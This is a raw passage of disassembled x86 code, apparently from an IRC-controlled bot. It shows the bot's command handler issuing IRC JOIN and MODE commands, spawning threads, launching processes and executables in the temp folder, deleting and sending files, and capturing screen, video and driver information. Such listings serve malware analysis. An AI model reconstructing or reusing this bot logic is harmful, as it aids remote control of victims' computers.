ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A714 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset sub_416CAD push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h call dword_427078 ; Sleep jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42A6D8 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call dword_42706C ; CreateProcessA test eax, eax jnz short loc_40844C push offset unk_42A6B4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_42A698 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h call dword_4270B0 ; GetTempPathA push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_42A660 push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset sub_4163F9 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h call dword_427078 ; Sleep jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42A624 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_42A5DC loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42CFF8 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A5CC push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax call dword_427078 ; Sleep loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_42A5B8 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42CFF8 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A5CC push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_42A5A0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_42A56C loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_42A538 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset sub_4143CB push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h call dword_427078 ; Sleep jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42A4FC loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_42A4D0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset sub_413B77 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h call dword_427078 ; Sleep jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j call dword_42708C ; RtlGetLastWin32Error push eax push offset dword_42A494 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_42A48C push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_42A484 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43E57C[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_42A478 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42BB24 push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_42A484 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E57C[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_42A45C loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_42A454 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_42A484 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43E57C[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_42A438 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_42A484 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43E57C[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_42A41C jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_42A3F4 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42CFF8 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_42A3E8 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax call dword_427078 ; Sleep push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42A3D4 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42AB08 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_42A3B8 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_42A398 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_42A378 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A5CC push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_42A350 push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_42A320 push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_42A304 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_42A2D0 push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_42A2A0 jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_42A264 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CB664 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_42A234 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_42A20C push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_42A1D8 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_42A1A4 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_42A16C loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_42A138 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_42A0F8 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_42A0B8 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_42A094 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_42A070 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_42A06C ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42A040 loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_42A028 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_42A008 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429FEC jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429FD4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h call dword_427078 ; Sleep jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_429F94 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_429F7C jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_4 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429F58 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset sub_415E1A push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43E584[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h call dword_427078 ; Sleep jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] call dword_427080 ; DeleteFileA test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429F3C push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A744 call sub_41814C pop ecx push eax 